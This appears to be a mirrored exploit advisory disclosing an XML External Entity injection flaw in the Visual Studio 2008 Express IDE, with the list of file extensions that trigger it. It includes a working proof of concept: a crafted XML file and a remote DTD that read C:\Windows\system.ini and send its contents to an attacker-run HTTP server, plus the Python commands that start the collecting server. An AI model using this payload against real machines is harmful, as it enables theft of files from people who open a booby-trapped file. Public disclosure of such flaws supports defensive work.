Share
## https://sploitus.com/exploit?id=1337DAY-ID-33612
# Exploit Title: Visual Studio 2008 - XML External Entity Injection
# Discovery by: hyp3rlinx
# Date: 2019-12-02
# Vendor Homepage: www.microsoft.com
# Software Link: Visual Studio 2008 Express IDE 
# Tested Version: 2008
# CVE: N/A

[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-VISUAL-STUDIO-EXPRESS-2008-IDE-XML-EXTERNAL-ENTITY-0Day.txt
[+] ISR: ApparitionSec          


[Vendor]
www.microsoft.com


[Product]
Visual Studio 2008 Express IDE 
vcsetup.exe
File hash: 62f764849e8fcdf8bfbc342685641304
Download: http://go.microsoft.com/?linkid=7729279


[Vulnerability Type]
XML External Entity Injection 0Day


[CVE Reference]
N/A


[Security Issue]
Visual Studio 2008 IDE suffers from XML External Entity injection. Attackers can leverage many file types, some being MASM related files like .asm or .lst.
By opening any one of the following file types listed below, it can allow remote attackers to steal files from the victims computer, sending them to the
remote attackers server. 

Double click any of the following extensions and it will trigger the XXE vulnerability. Note, upon installation of the IDE the following file types get 
associated with Visual Studio 2008 and are ALL vulnerable and will trigger the XXE exploit.

[Vuln XXE file types]
.snippet
.i
.s
.asm
.disco
.lst
.inc
.srf
.wsdl
.rgs
.xml

This IDE is pretty old, I know, but its still available for download as of this writing, therefore I release the advisory.


[References]
https://devblogs.microsoft.com/visualstudio/end-of-support-for-visual-studio-2008-in-one-year/


[Exploit/POC]
"Evil.snippet" or any of the extensions mentioned above.

<?xml version="1.0"?>
<!DOCTYPE knobgobslob [ 
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>


"payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;


python -m SimpleHTTPServer
python -m http.server (Python3)


[POC Video URL]
https://www.youtube.com/watch?v=QOZlwzsbPrk